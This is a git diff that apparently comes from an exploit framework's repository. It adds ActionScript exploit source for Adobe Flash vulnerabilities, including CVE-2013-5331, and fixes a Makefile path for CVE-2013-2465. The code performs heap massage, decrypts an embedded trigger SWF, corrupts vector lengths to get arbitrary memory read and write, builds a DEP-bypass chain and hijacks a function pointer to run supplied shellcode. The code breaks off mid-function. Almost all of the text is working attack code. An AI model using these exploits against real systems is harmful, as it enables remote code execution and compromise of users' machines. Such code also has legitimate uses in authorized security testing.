(!this.LeakNtdll()){ + return; + }; + if (!this.FindStackPivot()){ + return; + }; + if (!this.LeakVirtualProtect()){ + return; + }; + var i:uint; + while (i < 0x19000) { + this.byte_array.writeUnsignedInt(0x41424344); + i++; + }; + this.byte_array.endian = Endian.LITTLE_ENDIAN; + var init_pos:uint = this.byte_array.position; + + // Write shellcode into the byte array + this.byte_array.position = (init_pos + 136); + this.write_into_byte_array(this.byte_array, shellcode); + + // Write stack pivot into the byte array + this.byte_array.position = (init_pos + 112); + this.byte_array.writeUnsignedInt(this.stack_pivot); + + if (!this.LeakObjectAddresses()){ + return; + }; + + this.byte_array_data_address = (this.byte_array_data_address + init_pos); + this.byte_array.position = init_pos; + + // build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP + this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address) + this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect + this.byte_array.writeUnsignedInt(64); // NewAccessProtection + this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection + this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28 + this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32 + this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36 + + // Overwrite Sound... + this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4); + + // Make it happen! + new Number(this.sound_object.toString()); + } + + private function write_into_byte_array(byte_array:ByteArray, string:String):void + { + var _local_4:String; + var _local_5:int; + var _local_3:int; + while (_local_3 < string.length) { + _local_4 = string.substr(_local_3, 2); + _local_5 = parseInt(_local_4, 16); + byte_array.writeByte(_local_5); + _local_3 = (_local_3 + 2); + }; + } + + private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number + { + var result_float:ByteArray = new ByteArray(); + result_float.endian = Endian.LITTLE_ENDIAN; + result_float.writeInt(_arg_1); + result_float.writeInt(_arg_2); + result_float.position = 0; + return (result_float.readDouble()); + } + + // vector is a Float vectors + // index is the position to read from the vector + // read the vector[index] float i retorna els dos enters + // ocupant les dues posiciones + private function ReadTwoUint(vector:Vector., index:uint):Vector. + { + var byte_array:ByteArray = new ByteArray(); + byte_array.endian = Endian.BIG_ENDIAN; + byte_array.writeDouble(vector[index]); + var vector_uint:Vector. = new Vector.(2); + byte_array.position = 0; + vector_uint[1] = byte_array.readUnsignedInt(); + vector_uint[0] = byte_array.readUnsignedInt(); + return (vector_uint); + } + + private function CreateVectorThirtyTwoObjects():Vector. + { + var vector:* = new Vector.(32); + vector[0] = null; + vector[1] = null; + vector[2] = this.sound_object; + vector[3] = this.byte_array; + return (vector); + } + + private function CreateVectorSixteenNumbers():Vector. + { + var vector:* = new Vector.(16); + vector[0] = 0; + vector[15] = 1; + return (vector); + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2013-2465/Makefile b/external/source/exploits/CVE-2013-2465/Makefile index 4ee5294f12..1c9f5711e3 100644 --- a/external/source/exploits/CVE-2013-2465/Makefile +++ b/external/source/exploits/CVE-2013-2465/Makefile @@ -7,7 +7,7 @@ CLASSES = Exploit.java all: $(CLASSES:.java=.class) install: - mv *.class ../../../../data/exploits/CVE-2013-3465/ + mv *.class ../../../../data/exploits/CVE-2013-2465/ clean: rm -rf *.class diff --git a/external/source/exploits/CVE-2013-5331/Exploit.as b/external/source/exploits/CVE-2013-5331/Exploit.as new file mode 100755 index 0000000000..801edd0184 --- /dev/null +++ b/external/source/exploits/CVE-2013-5331/Exploit.as @@ -0,0 +1,897 @@ +//Compile: mxmlc.exe Exploit.as -o Exploit.swf + +package +{ + import flash.display.Sprite; + import flash.utils.ByteArray; + import flash.net.LocalConnection; + import flash.utils.Endian; + import flash.net.FileReference; + import __AS3__.vec.Vector; + import flash.system.Capabilities; + import flash.display.Loader; + import flash.utils.setTimeout; + + import flash.display.LoaderInfo; + + public class Exploit extends Sprite + { + var number_massage_vectors:uint = 0x18000; + var len_massage_vector:uint = 0x36; + var maxElementsPerPage:uint = 0xe00012; + var massage_array:Array; + var tweaked_vector; + var tweaked_vector_address; + var done:Boolean = false; + var receiver:LocalConnection; + // Embedded trigger, ActionScript source available at the end of this file as code comment. + var trigger_swf:String = "78da75565f4c9357144ff6b2cca7252ed91e966d2e2c35e0a605bc681d9f11a94f4b85745b05b2f0325c78d3651ad0173666d8941998a2d9f857a0aed8de425b4a59a1a520855908f4cf6de1d2967e03d9a2885127713a37d8b9f7fba0b0cc872fdc9eef777ee79cdf39dfb9343c2b0bf75c43d48cb36a08de5f41f07bb3e4b682128c1a435abf62b93b3f49f0a027fc15ea27e3c52ebd0fb9fbc5230e7b14fdd84f4b5c1db775d88e0b6c5e8abcce91125a3d52ea34f2df5a931e7f6ed3278a5d567f89c743cfba3a964a1d467f3eb5b5a0c1fea1bc25122872b8936a6a1f3a62b58bc864a7a57d7a5ce8edc5451686bb9cd4b9fbfdc7f0e5a1a2ee86d162ec4ca281c171d4e81e2a32b54ce699fa2327781c327ff4823159ea74b420b3939e6a68c067dbaa68becd33f122d5fbf35a2f2fa1ceb691bc3e63f4888724b58039eb218f0a1dee299d83dc2b7342dc2e27fea09d4ce69bc8bd7c13d466230b877b6d90437b5c6b3246510f19d675d68fe6f5da132c87f25e3bf09b71890be2eac944e160ad5c8b63a2a046aea7d7398c1cce1b857800170f905f8b06ec43a7fa3c37b403c6d1222799542f7947746ee74d84ddf7caee1251ebecc3fa0962406204231ae9449498b3a10fc26c40954de35d159a1016e25575fa3562c8146718a67b1da39c857e892166b3fcc7ef3af74b56b1334ed744b012fa898261ab3e460cca2bea2e148caf6dd30c612114c1e06746c0a58ca530d91c1304cc0a16c2525e7ba98c11c32c6617b3e5d0ad7e59dc2fbac6ce077d6a3312a3808d5bd2593e6233cbc750b6a8ee43416af6bf02be7497168904fb6904e68e983381ef8b45750f0a8a12f7ec7a3cc643d8b3099334fb19e6278659fe3f4c2d0ace5d47c104d7660f259da7d97b7191e5df0838c3011fcb57e4b9e7fad42e24ae6ee1c94d696ae69ade845e10625024898ca9572925fd0d399c2bb2c0b8d22edc673e1eae3dab2138c463bc7ddec7eced29fb18b7bf25d937eb34c8e3059a55efd0b843f9183410ef1864dd0dbb792cff6aa566060b237157fa28fbbdd1bb4ee89de15d5f93ea008d5bf75039d7e0d472868662616ca3be3a86dfe9535f871ed422da38688e9126c4e2fa78cdf674cd08e6feeee80b521fe23da7af32fe49f0abb675c7c8ab7ea845188bdc7c0edfb9ad7c707ed2a4ca84b330165065d108d444ee661c0ae11505e3fdc390c96b7bb89021d5e67d5e6dc0f19d90e0bc172b4699fd8141c17dff045f88f32ca07a5ffea6d013822b65db3e1ae9009ba9fce1b3e5375ca70e71bb3fc0f8be81f7b7f40962d81e9c9366e2ca14b39f17a6791c3dc46943c11593ac1f16462fd9d83cecdc9887fba93a57b9cfd71575c3ca6c3a8f19dfcb3cbf49ebe67385661a2b15e01bd9d0e56fa647b5426d84f71bb1784d639cf35bceffa079314d1dc2a729e359b1cadac3f9b17ce673743e5df25bd0cf810e945854ad5be3d42b980fd40b75e706a995eb31cdf5d00b11d003b8f6f998be49f85ef84c9d4bcdd4d3e56d0cbf1650e5d2788db0c2f793e14d9ec7eaea0ea9871ee8a143de1b96f5bd2148bd815e32ecc4ea0ebaeb1ae3cde1dccbedbbf9398ccb6baa273feab14f68cdffa476be62ae19701654d08a0fd2da89e23edb64316d8996e1b6d163de795cd2661d2ea0ec91ee844d7781a8c575f327a8c39fd7d8b2847ea85ad3e2ea645167c390ceabe73d423c9ff042dab8a60b6d27f20e851a673f69473484f70e13aca3640afd4554aad4aee8cc8e7f39a04f92ce9c6048de05c18533a5619c73959d09ef490edf8f33d652d0257316f634bccf0e80b689b061cfc7090c7bb8eb751a1e3ecaeebc6922ef04d0303e63a9bc2ae19487a759bc36fe5d49bba9bbe2f726952069db25506eb3f0fd31d7ccf613ef89f09b0ffb432cdf10cff9a5e971f80bf169eda3e32eeb2f3aaf537cadc1b40677ec8dc23b44bbef0ef42b46d2ced0182ef77a473e747937ddb183517667b347d29c24f2fb8c23796d1d7e761f9f6c6dc0851ee3dd932d70d75e70d2e32677e284c33ea1a69bb51866fbe1335e879cf3cfd304f209f6226ac7f0bfc745a411f1c6ac2542dd9f06d426a641b6bc0ff65e69cd8019b9b5b96fec9ce9eb87f99db140fdf03e3400b30d7d89bebd9fcd4cec29cee935c1fd4ddad7358459efce9c6dba25e12239592c5e94a47672bcf9fb4a4d5cdad9b1f5796896ef5ad8e571f62dc4eb77d04b90ebbffc1db134"; + var key:uint = 3.627461843E9; + var shellcodeObj:Array; + + public function Exploit() { + var trigger_decrypted:uint = 0; + super(); + shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); + var i:* = 0; + this.massage_array = new Array(); + + // Memory massage + i = 0; + while(i < this.number_massage_vectors) + { + this.massage_array[i] = new Vector.(1); + i++; + } + i = 0; + while(i < this.number_massage_vectors) + { + this.massage_array[i] = new Vector.(this.len_massage_vector); + this.massage_array[i][0] = 0x41414141; + i++; + } + var j:* = 0; + i = 0; + while(i < this.number_massage_vectors) + { + j = 0; + while(j < 32) + { + this.massage_array[i][j] = 0x41414141; + j++; + } + i++; + } + var k:uint = (4096 - 32) / (this.len_massage_vector * 4 + 8); + i = 65536 + 6; + while(i < this.number_massage_vectors) + { + this.massage_array[i] = new Vector.(this.len_massage_vector * 2); + this.massage_array[i][0] = 0x42424242; + i = i + k; + } + + // Decompress/Decrypt trigger + this.receiver = new LocalConnection(); + this.receiver.connect("toAS3"); + this.receiver.client = this; + var trigger_byte_array:ByteArray = this.createByteArray(this.trigger_swf); + trigger_byte_array.endian = Endian.LITTLE_ENDIAN; + trigger_byte_array.uncompress(); + trigger_byte_array.position = 0; + i = 0; + while(i < trigger_byte_array.length / 4) + { + trigger_decrypted = trigger_byte_array.readUnsignedInt() ^ this.key; + trigger_byte_array.position = trigger_byte_array.position - 4; + trigger_byte_array.writeUnsignedInt(trigger_decrypted); + i++; + } + trigger_byte_array.position = 0; + + // Trigger corruption + var trigger_loader:Loader = new Loader(); + trigger_loader.loadBytes(trigger_byte_array); + + // Handler to check for corruption + setTimeout(this.as2loaded,4000,[]); + } + + function createByteArray(hex_string:String) : ByteArray { + var byte:String = null; + var byte_array:ByteArray = new ByteArray(); + var hex_string_length:uint = hex_string.length; + var i:uint = 0; + while(i < hex_string_length) + { + byte = hex_string.charAt(i) + hex_string.charAt(i + 1); + byte_array.writeByte(parseInt(byte,16)); + i = i + 2; + } + return byte_array; + } + + // When param1.length > 0 it's called from the corruption trigger + // Else it's called because of the timeout trigger + public function as2loaded(param1:Array) : * { + var back_offset:* = undefined; // backward offset from the tweaked vector + var j:* = undefined; + var _loc15_:uint = 0; + var ninbets:Array = null; + var array_with_code:Array = null; + var address_code:uint = 0; + var _loc19_:uint = 0; + if(this.done == true) + { + return; + } + if(param1.length > 0) + { + this.done = true; + } + var corrupted_index:uint = 0; + var i:* = 0; + i = 0x10000 + 6; + + // Search corrupted vector + while(i < this.number_massage_vectors) + { + if(this.massage_array[i].length != 2 * this.len_massage_vector) + { + if(this.massage_array[i].length != this.len_massage_vector) + { + corrupted_index = i; + this.massage_array[i][0] = 0x41424344; + break; + } + } + i++; + } + + // throw Error if any vector has been corrupted + if(i == this.number_massage_vectors) + { + throw new Error("not found"); + } + else // start the magic... + { + // Tweak the length for the vector next to the corrupted one + this.massage_array[corrupted_index][this.len_massage_vector] = 0x40000001; + // Save the reference to the tweaked vector, it'll work with this one to leak and corrupt arbitrary memory + this.tweaked_vector = this.massage_array[corrupted_index + 1]; + var offset_length = 0; + // Ensure tweaked vector length corruption, I guess the offset to the vector length + // changes between flash versions + if(this.tweaked_vector.length != 0x40000001) + { + this.massage_array[corrupted_index][this.len_massage_vector + 10] = 0x40000001; + offset_length = 10; + } + if(param1.length > 0) // From the corruption trigger + { + // Fix the massage array of vectors, restores the corrupted vector and + // marks it as the last one. + back_offset = (4 * (this.len_massage_vector + 2) - 100) / 4 + this.len_massage_vector + 2; // 87 + j = 0; + /* + tweaked_vector->prior->prior, some data is overwritten, is used for search purposes + tweaked_vector[3fffffa7] = 0 + tweaked_vector[3fffffa8] = 0 + tweaked_vector[3fffffa9] = 1c0340 + tweaked_vector[3fffffaa] = ffffffff + tweaked_vector[3fffffab] = 0 + tweaked_vector[3fffffac] = 0 + tweaked_vector[3fffffad] = 0 + tweaked_vector[3fffffae] = 0 + tweaked_vector[3fffffaf] = 0 + tweaked_vector[3fffffb0] = 0 + tweaked_vector[3fffffb1] = 0 + tweaked_vector[3fffffb2] = 100 + tweaked_vector[3fffffb3] = 0 + tweaked_vector[3fffffb4] = 0 + tweaked_vector[3fffffb5] = 0 + tweaked_vector[3fffffb6] = 0 + tweaked_vector[3fffffb7] = 100dddce + tweaked_vector[3fffffb8] = 0 + tweaked_vector[3fffffb9] = 1df6000 + tweaked_vector[3fffffba] = 1dc2380 + tweaked_vector[3fffffbb] = 0 + tweaked_vector[3fffffbc] = 10000 + tweaked_vector[3fffffbd] = 70 + tweaked_vector[3fffffbe] = 0 + tweaked_vector[3fffffbf] = 4 + tweaked_vector[3fffffc0] = 0 + tweaked_vector[3fffffc1] = 1de7090 + tweaked_vector[3fffffc2] = 4 + tweaked_vector[3fffffc3] = 0 + tweaked_vector[3fffffc4] = 0 + tweaked_vector[3fffffc5] = 0 + // tweaked_vector->prior + tweaked_vector[3fffffc6] = 36 // Length + tweaked_vector[3fffffc7] = 1dea000 + tweaked_vector[3fffffc8] = 41414141 + tweaked_vector[3fffffc9] = 41414141 + tweaked_vector[3fffffca] = 41414141 + tweaked_vector[3fffffcb] = 41414141 + tweaked_vector[3fffffcc] = 41414141 + tweaked_vector[3fffffcd] = 41414141 + tweaked_vector[3fffffce] = 41414141 + tweaked_vector[3fffffcf] = 41414141 + tweaked_vector[3fffffd0] = 41414141 + tweaked_vector[3fffffd1] = 41414141 + tweaked_vector[3fffffd2] = 41414141 + tweaked_vector[3fffffd3] = 41414141 + tweaked_vector[3fffffd4] = 41414141 + tweaked_vector[3fffffd5] = 41414141 + tweaked_vector[3fffffd6] = 41414141 + tweaked_vector[3fffffd7] = 41414141 + tweaked_vector[3fffffd8] = 41414141 + tweaked_vector[3fffffd9] = 41414141 + tweaked_vector[3fffffda] = 41414141 + tweaked_vector[3fffffdb] = 41414141 + tweaked_vector[3fffffdc] = 41414141 + tweaked_vector[3fffffdd] = 41414141 + tweaked_vector[3fffffde] = 41414141 + tweaked_vector[3fffffdf] = 41414141 + tweaked_vector[3fffffe0] = 41414141 + tweaked_vector[3fffffe1] = 41414141 + tweaked_vector[3fffffe2] = 41414141 + tweaked_vector[3fffffe3] = 41414141 + tweaked_vector[3fffffe4] = 41414141 + tweaked_vector[3fffffe5] = 41414141 + tweaked_vector[3fffffe6] = 41414141 + tweaked_vector[3fffffe7] = 41414141 + tweaked_vector[3fffffe8] = 0 + tweaked_vector[3fffffe9] = 0 + tweaked_vector[3fffffea] = 0 + tweaked_vector[3fffffeb] = 0 + tweaked_vector[3fffffec] = 0 + tweaked_vector[3fffffed] = 0 + tweaked_vector[3fffffee] = 0 + tweaked_vector[3fffffef] = 0 + tweaked_vector[3ffffff0] = 0 + tweaked_vector[3ffffff1] = 0 + tweaked_vector[3ffffff2] = 0 + tweaked_vector[3ffffff3] = 0 + tweaked_vector[3ffffff4] = 0 + tweaked_vector[3ffffff5] = 0 + tweaked_vector[3ffffff6] = 0 + tweaked_vector[3ffffff7] = 0 + tweaked_vector[3ffffff8] = 0 + tweaked_vector[3ffffff9] = 0 + tweaked_vector[3ffffffa] = 0 + tweaked_vector[3ffffffb] = 0 + tweaked_vector[3ffffffc] = 0 + tweaked_vector[3ffffffd] = 0 + */ + while(j < back_offset) + { + this.tweaked_vector[0x40000000 - back_offset - 2 + j - offset_length] = param1[j]; + j++; + } + // tweaked_vector[3fffffff] = 1dea000 // Restores tweaked vector metadata + this.tweaked_vector[0x40000000-1] = param1[back_offset + 1]; + + + j = back_offset + 2; + + // Modifies the tweaked vector content, and overflow the next ones, they just remain in good state: + /* + // tweaked vector content + tweaked_vector[0] = 41414141 + tweaked_vector[1] = 41414141 + tweaked_vector[2] = 41414141 + tweaked_vector[3] = 41414141 + tweaked_vector[4] = 41414141 + tweaked_vector[5] = 41414141 + tweaked_vector[6] = 41414141 + tweaked_vector[7] = 41414141 + tweaked_vector[8] = 41414141 + tweaked_vector[9] = 41414141 + tweaked_vector[a] = 41414141 + tweaked_vector[b] = 41414141 + tweaked_vector[c] = 41414141 + tweaked_vector[d] = 41414141 + tweaked_vector[e] = 41414141 + tweaked_vector[f] = 41414141 + tweaked_vector[10] = 41414141 + tweaked_vector[11] = 41414141 + tweaked_vector[12] = 41414141 + tweaked_vector[13] = 41414141 + tweaked_vector[14] = 41414141 + tweaked_vector[15] = 41414141 + tweaked_vector[16] = 41414141 + tweaked_vector[17] = 41414141 + tweaked_vector[18] = 41414141 + tweaked_vector[19] = 41414141 + tweaked_vector[1a] = 41414141 + tweaked_vector[1b] = 41414141 + tweaked_vector[1c] = 41414141 + tweaked_vector[1d] = 41414141 + tweaked_vector[1e] = 41414141 + tweaked_vector[1f] = 41414141 + tweaked_vector[20] = 0 + tweaked_vector[21] = 0 + tweaked_vector[22] = 0 + tweaked_vector[23] = 0 + tweaked_vector[24] = 0 + tweaked_vector[25] = 0 + tweaked_vector[26] = 0 + tweaked_vector[27] = 0 + tweaked_vector[28] = 0 + tweaked_vector[29] = 0 + tweaked_vector[2a] = 0 + tweaked_vector[2b] = 0 + tweaked_vector[2c] = 0 + tweaked_vector[2d] = 0 + tweaked_vector[2e] = 0 + tweaked_vector[2f] = 0 + tweaked_vector[30] = 0 + tweaked_vector[31] = 0 + tweaked_vector[32] = 0 + tweaked_vector[33] = 0 + tweaked_vector[34] = 0 + tweaked_vector[35] = 0 + // next to the tweaked vector + tweaked_vector[36] = 36 + tweaked_vector[37] = 1dea000 + tweaked_vector[38] = 41414141 + tweaked_vector[39] = 41414141 + tweaked_vector[3a] = 41414141 + tweaked_vector[3b] = 41414141 + tweaked_vector[3c] = 41414141 + tweaked_vector[3d] = 41414141 + tweaked_vector[3e] = 41414141 + tweaked_vector[3f] = 41414141 + tweaked_vector[40] = 41414141 + tweaked_vector[41] = 41414141 + tweaked_vector[42] = 41414141 + tweaked_vector[43] = 41414141 + tweaked_vector[44] = 41414141 + tweaked_vector[45] = 41414141 + tweaked_vector[46] = 41414141 + tweaked_vector[47] = 41414141 + tweaked_vector[48] = 41414141 + tweaked_vector[49] = 41414141 + tweaked_vector[4a] = 41414141 + tweaked_vector[4b] = 41414141 + tweaked_vector[4c] = 41414141 + tweaked_vector[4d] = 41414141 + tweaked_vector[4e] = 41414141 + tweaked_vector[4f] = 41414141 + tweaked_vector[50] = 41414141 + tweaked_vector[51] = 41414141 + tweaked_vector[52] = 41414141 + tweaked_vector[53] = 41414141 + tweaked_vector[54] = 41414141 + tweaked_vector[55] = 41414141 + tweaked_vector[56] = 41414141 + tweaked_vector[57] = 41414141 + tweaked_vector[58] = 0 + tweaked_vector[59] = 0 + tweaked_vector[5a] = 0 + tweaked_vector[5b] = 0 + tweaked_vector[5c] = 0 + tweaked_vector[5d] = 0 + tweaked_vector[5e] = 0 + tweaked_vector[5f] = 0 + tweaked_vector[60] = 0 + tweaked_vector[61] = 0 + tweaked_vector[62] = 0 + tweaked_vector[63] = 0 + tweaked_vector[64] = 0 + tweaked_vector[65] = 0 + tweaked_vector[66] = 0 + tweaked_vector[67] = 0 + tweaked_vector[68] = 0 + tweaked_vector[69] = 0 + tweaked_vector[6a] = 0 + tweaked_vector[6b] = 0 + tweaked_vector[6c] = 0 + tweaked_vector[6d] = 0 + // next -> next to the tweaked vector + tweaked_vector[6e] = 36 + tweaked_vector[6f] = 1dea000 + tweaked_vector[70] = 41414141 + tweaked_vector[71] = 41414141 + tweaked_vector[72] = 41414141 + tweaked_vector[73] = 41414141 + tweaked_vector[74] = 41414141 + tweaked_vector[75] = 41414141 + tweaked_vector[76] = 41414141 + tweaked_vector[77] = 41414141 + tweaked_vector[78] = 41414141 + tweaked_vector[79] = 41414141 + tweaked_vector[7a] = 41414141 + tweaked_vector[7b] = 41414141 + tweaked_vector[7c] = 41414141 + tweaked_vector[7d] = 41414141 + tweaked_vector[7e] = 41414141 + tweaked_vector[7f] = 41414141 + tweaked_vector[80] = 41414141 + tweaked_vector[81] = 41414141 + tweaked_vector[82] = 41414141 + tweaked_vector[83] = 41414141 + tweaked_vector[84] = 41414141 + tweaked_vector[85] = 41414141 + tweaked_vector[86] = 41414141 + tweaked_vector[87] = 41414141 + tweaked_vector[88] = 41414141 + tweaked_vector[89] = 41414141 + tweaked_vector[8a] = 41414141 + tweaked_vector[8b] = 41414141 + tweaked_vector[8c] = 41414141 + tweaked_vector[8d] = 41414141 + tweaked_vector[8e] = 41414141 + tweaked_vector[8f] = 41414141 + tweaked_vector[90] = 0 + tweaked_vector[91] = 0 + tweaked_vector[92] = 0 + tweaked_vector[93] = 0 + tweaked_vector[94] = 0 + tweaked_vector[95] = 0 + tweaked_vector[96] = 0 + tweaked_vector[97] = 0 + tweaked_vector[98] = 0 + tweaked_vector[99] = 0 + tweaked_vector[9a] = 0 + tweaked_vector[9b] = 0 + tweaked_vector[9c] = 0 + tweaked_vector[9d] = 0 + tweaked_vector[9e] = 0 + tweaked_vector[9f] = 0 + tweaked_vector[a0] = 0 + tweaked_vector[a1] = 0 + tweaked_vector[a2] = 0 + tweaked_vector[a3] = 0 + tweaked_vector[a4] = 0 + tweaked_vector[a5] = 0 + */ + while(j < param1.length) + { + this.tweaked_vector[j - (back_offset + 2) + offset_length] = param1[j]; + j++; + } + // next -> next to the tweaked vector + // tweaked_vector[a6] = 36 + // tweaked_vector[a7] = 1dea000 + this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + offset_length] = param1[back_offset]; // [166] => 36 + this.tweaked_vector[2 * (this.len_massage_vector + 2) + this.len_massage_vector + 1 + offset_length] = param1[back_offset + 1]; //[167] => 1dea000 + } + else // From the Timeout trigger; never reached on my tests. + { + _loc15_ = this.tweaked_vector[4 * (this.len_massage_vector + 2)-1]; + this.tweaked_vector[0x3fffffff] = _loc15_; + this.tweaked_vector[0x3fffffff - this.len_massage_vector - 2] = _loc15_; + this.tweaked_vector[0x3fffffff - this.len_massage_vector - 3] = this.len_massage_vector; + this.tweaked_vector[this.len_massage_vector + 1] = _loc15_; + this.tweaked_vector[2 * (this.len_massage_vector + 2)-1] = _loc15_; + this.tweaked_vector[3 * (this.len_massage_vector + 2)-1] = _loc15_; + this.tweaked_vector[this.len_massage_vector] = this.len_massage_vector; + this.tweaked_vector[2 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector; + this.tweaked_vector[3 * (this.len_massage_vector + 2) - 2] = this.len_massage_vector; + } + + this.massage_array[corrupted_index].length = 256; // :? + + // Search backwards to find the massage array metadata + // It's used to disclose the tweaked vector address + i = 0; + var hint = 0; + while(true) + { + hint = this.tweaked_vector[0x40000000 - i]; + if(hint == this.maxElementsPerPage-1) // 0xe00012 - 1 + { + break; + } + i++; + } + + this.tweaked_vector_address = 0; + if(this.tweaked_vector[0x40000000 - i - 4] == 0) + { + throw new Error("error"); + } + else + { + this.tweaked_vector_address = this.tweaked_vector[0x40000000 - i - 4] + (4 * this.len_massage_vector + 8) + 8 + 4 * offset_length; + + // I have not been able to understand this tweak, + // Maybe not necessary at all... + i = 0; + hint = 0; + while(true) + { + hint = this.tweaked_vector[0x40000000 - i]; + if(hint == 0x7e3f0004) + { + break; + } + i++; + } + + this.tweaked_vector[0x40000000 - i + 1] = 4.294967295E9; // -1 / 0xffffffff + // End of maybe not necessary tweak + + var file_ref_array = new Array(); + i = 0; + while(i < 64) + { + file_ref_array[i] = new FileReference(); + i++; + } + + var file_reference_address = this.getFileReferenceLocation(this.tweaked_vector, this.tweaked_vector_address); + var ptr_backup = this.getMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32); + + // Get array related data, important to trigger the desired corruption to achieve command execution + ninbets = this.getNinbets(this.tweaked_vector,this.tweaked_vector_address); + array_with_code = this.createCodeVectors(0x45454545, 0x90909090); + address_code = this.getCodeAddress(this.tweaked_vector, this.tweaked_vector_address, 0x45454545); + this.fillCodeVectors(array_with_code, address_code); + this.tweaked_vector[7] = ninbets[0] + 0; + this.tweaked_vector[4] = ninbets[1]; + this.tweaked_vector[0] = 4096; + this.tweaked_vector[1] = address_code & 0xfffff000; + // Corruption + this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, this.tweaked_vector_address + 8); + // Get arbitrary execution + i = 0; + while(i < 64) + { + file_ref_array[i].cancel(); + i++; + } + this.tweaked_vector[7] = address_code; + i = 0; + while(i < 64) + { + file_ref_array[i].cancel(); + i++; + } + // Restore Function Pointer + this.writeMemoryAt(this.tweaked_vector, this.tweaked_vector_address, file_reference_address + 32, ptr_backup); + + return; + } + } + } + + // vector: tweaked vector with 0x40000001 length + // vector_address: address of tweaked vector + // address: address to read + function getMemoryAt(vector:Vector., vector_address:uint, address:uint) : uint { + if(address >= vector_address) + { + return vector[(address - vector_address) / 4]; + } + return vector[0x40000000 - (vector_address - address) / 4]; + } + + // vector: tweaked vector with 0x40000001 length + // vector_address: address of tweaked vector + // address: address to write + // value: value to write + function writeMemoryAt(vector:Vector., vector_address:uint, address:uint, value:uint) : * { + if(address >= vector_address) + { + vector[(address - vector_address) / 4] = value; + } + else + { + vector[0x40000000 - (vector_address - address) / 4] = value; + } + } + + function getNinbets(vector:*, vector_address:*) : Array { + var _loc9_:uint = 0; + var array_related_addr:uint = this.getMemoryAt(vector,vector_address,(vector_address & 0xfffff000) + 0x1c); + var index_array_related_addr:uint = 0; + var _loc5_:uint = 0; + var _loc6_:uint = 0; + if(array_related_addr >= vector_address) + { + index_array_related_addr = (array_related_addr - vector_address) / 4; + } + else + { + index_array_related_addr = 0x40000000 - (vector_address - array_related_addr) / 4; + } + var _loc7_:uint = 0; + while(true) + { + index_array_related_addr--; + _loc9_ = vector[index_array_related_addr]; + if(_loc9_ == 0xfff870ff) + { + _loc7_ = 2; + break; + } + if(_loc9_ == 0xf870ff01) + { + _loc7_ = 1; + break; + } + if(_loc9_ == 0x70ff016a) + { + _loc9_ = vector[index_array_related_addr + 1]; + if(_loc9_ == 0xfc70fff8) + { + _loc7_ = 0; + break; + } + } + else + { + if(_loc9_ == 0x70fff870) + { + _loc7_ = 3; + break; + } + } + } + + _loc5_ = vector_address + 4 * index_array_related_addr - _loc7_; + index_array_related_addr--; + var _loc8_:uint = vector[index_array_related_addr]; + if(_loc8_ == 0x16a0424) + { + return [_loc5_,_loc6_]; + } + if(_loc8_ == 0x6a042444) + { + return [_loc5_,_loc6_]; + } + if(_loc8_ == 0x424448b) + { + return [_loc5_,_loc6_]; + } + if(_loc8_ == 0xff016a04) + { + return [_loc5_,_loc6_]; + } + + _loc6_ = _loc5_ - 6; + while(true) + { + index_array_related_addr--; + _loc9_ = vector[index_array_related_addr]; + if(_loc9_ == 0x850ff50) + { + if(uint(vector[index_array_related_addr + 1]) == 0x5e0cc483) + { + _loc7_ = 0; + break; + } + } + _loc9_ = _loc9_ & 0xffffff00; + if(_loc9_ == 0x50ff5000) + { + if(uint(vector[index_array_related_addr + 1]) == 0xcc48308) + { + _loc7_ = 1; + break; + } + } + _loc9_ = _loc9_ & 0xffff0000; + if(_loc9_ == 0xff500000) + { + if(uint(vector[index_array_related_addr + 1]) == 0xc4830850) + { + if(uint(vector[index_array_related_addr + 2]) == 0xc35d5e0c) + { + _loc7_ = 2; + break; + } + } + } + _loc9_ = _loc9_ & 0xff000000; + if(_loc9_ == 0x50000000) + { + if(uint(vector[index_array_related_addr + 1]) == 0x830850ff) + { + if(uint(vector[index_array_related_addr + 2]) == 0x5d5e0cc4) + { + _loc7_ = 3; + break; + } + } + } + } + + _loc5_ = vector_address + 4 * index_array_related_addr + _loc7_; + return [_loc5_,_loc6_]; + } + + // vector: tweaked vector with 0x40000001 length + // address: address of tweaked vector + function getFileReferenceLocation(vector:*, address:*) : uint { + var flash_address:uint = this.getMemoryAt(vector,address,(address & 0xfffff000) + 28); + var _loc4_:uint = 0; + while(true) + { + _loc4_ = this.getMemoryAt(vector,address,flash_address + 8); + if(_loc4_ == 0x2a0) + { + break; + } + if(_loc4_ < 0x2a0) + { + flash_address = flash_address + 36; + } + else + { + flash_address = flash_address - 36; + } + } + + var file_ref_related_addr:uint = this.getMemoryAt(vector,address,flash_address + 12); + while(this.getMemoryAt(vector,address, file_ref_related_addr + 384) != 0xffffffff) + { + if(this.getMemoryAt(vector,address, file_ref_related_addr + 380) == 0xffffffff) + { + break; + } + file_ref_related_addr = this.getMemoryAt(vector, address, file_ref_related_addr + 8); + } + return file_ref_related_addr; + } + + function getCodeAddress(vector:*, vector_addr:*, mark:*) : uint { + var vector_length_read:uint = 0; + var vector_code_info_addr:uint = this.getMemoryAt(vector, vector_addr,(vector_addr & 0xfffff000) + 0x1c); + while(true) + { + vector_length_read = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 8); + if(vector_length_read == 2032) // code vector length + { + break; + } + vector_code_info_addr = vector_code_info_addr + 0x24; + } + + var vector_code_contents_addr:uint = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 0xc); + 